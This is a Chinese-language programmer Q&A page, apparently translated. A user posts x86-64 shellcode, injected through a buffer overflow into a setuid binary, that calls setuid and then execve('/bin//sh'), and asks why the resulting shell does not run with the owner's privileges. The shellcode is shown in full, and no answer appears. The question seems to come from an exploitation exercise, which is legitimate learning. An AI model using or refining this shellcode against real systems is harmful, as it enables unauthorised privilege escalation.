assembly - execve 之前无法在 shellcode 中设置 setuid()
问题描述
我有以下 shellcode,我可以说服 setuid 二进制文件作为缓冲区溢出的结果执行:
push 1009 ; #owner_userid
pop rdi
push 105
pop rax
syscall ; #sys_setuid(1009)
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall ; #sys_execve('/bin//sh')
这成功地生成了一个 shell,但是当我在其中运行whoami
时,我得到了自己的用户名,而不是二进制文件所有者的用户名(用户 ID #1009)。如何/bin/sh
使用 setuid 二进制文件所有者的权限启动?
其他详情:
- GDB 显示这
sys_setuid(1009)
会将 -1 EPERM 返回到 $rax sys_getuid()
在 shellcode 中运行会返回我自己的 UID (#1000)sys_geteuid
- 运行
sys_setreuid(1009, 1009)
还会将 -1 EPERM 返回到 $rax file <binary>
输出binary: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked
所以二进制肯定设置了setuidla -la
给出:-rwsr-xr-x 1 target_user root 800118 Mar 1 13:40 binary
- 对于最终的 shellcode,我在技术上限制为 34 个字节,但这与这里的一般问题没有直接关系。
解决方案
推荐阅读
- javascript - 如何检查我的浏览器是否支持媒体类型?
- python - AttributeError:模块“http.server”没有属性“ThreadingHTTPServer”
- laravel - 显示数据库插入操作的消息
- reactjs - 无法映射传递给我的 React Router 的 Link 组件的道具
- c# - 获取不在域中的计算机的域用户名
- asp.net-core - 将数组传递给 asp net core web api 操作方法 HttpGet
- c++ - 在 Linux 上链接 FMOD 库时未定义的参考
- json - 未定义导入的 json 文件的玩笑测试
- jenkins - Jenkins 配置页面需要很长时间才能加载
- ruby-on-rails - 扩展脚手架生成器